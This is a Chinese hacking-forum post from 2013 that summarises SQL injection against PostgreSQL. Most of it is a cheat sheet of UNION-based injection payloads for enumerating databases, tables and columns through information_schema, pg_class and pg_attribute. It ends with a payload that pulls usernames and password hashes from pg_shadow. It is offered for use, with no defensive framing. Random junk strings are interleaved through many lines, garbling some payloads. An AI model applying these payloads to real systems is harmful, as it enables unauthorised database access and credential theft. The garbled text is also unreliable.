找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2465|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点6 Q$ u9 ^$ u1 h) e* }

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/; K8 W( U2 }- u/ m* ^& e8 r
连接符: %20 , + , /**/

内置函数:( J# X+ C6 Q: @( \2 r0 Z$ W# K+ i
current_database() //当前数据库名
8 \' \! s/ y# r# k1 E1 J( Isession_user //会话用户
0 Y  {; b* R+ J* v! F" O: P! W/ pcurrent_user //当前数据库用户" }; [4 E9 }2 c; W9 f
user //当前用户
3 |2 M/ U! U, e) t1 s2 y, ?version() //数据库版本

Union注射:
% D( y, |3 u/ v2 R: _order by n–
! W; H, W, ]6 Q) X( }and 1=2 union select null,null,null–
  N. \1 C3 Y( s% z- eand 1=2 union select ‘beach’,null,null–0 h  d* n* E9 r' J8 m
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
" ]# C/ d( W3 v/ p* ]group_concat(table_name)( p- W5 S$ d4 K$ _5 q
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
9 U2 E0 p& U7 s# _7 n. ~and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–. s5 \6 i$ z2 O
(老版本)
: o  I3 ^0 M4 i0 Fpg_class.oid对应pg_attribute.attrelid4 P  D% w! z  X- j# Q$ R& v
pg_class.relname表名1 u8 m/ F0 S! g& H6 b
pg_attribute.attname字段名

select relname from pg_class获取表名* e% ~, ]6 |- ~) n
select oid from pg_class where 条件 获取参数$ Q, m5 y& r* M
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
6 S- k7 w% e  g6 b* [; |and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
/ K* S& g! G: y' J- [and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
: `5 x2 p1 i* ~% }) m* o8 P7 x由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名$ }, y9 @/ f3 b" }5 c. ?7 I( ?2 `' ^
======================================================================
4 R5 ?% m0 c2 U* i% e- land 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
1 a7 k% _9 O. M+ }5 P8 l8 j8 Wand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表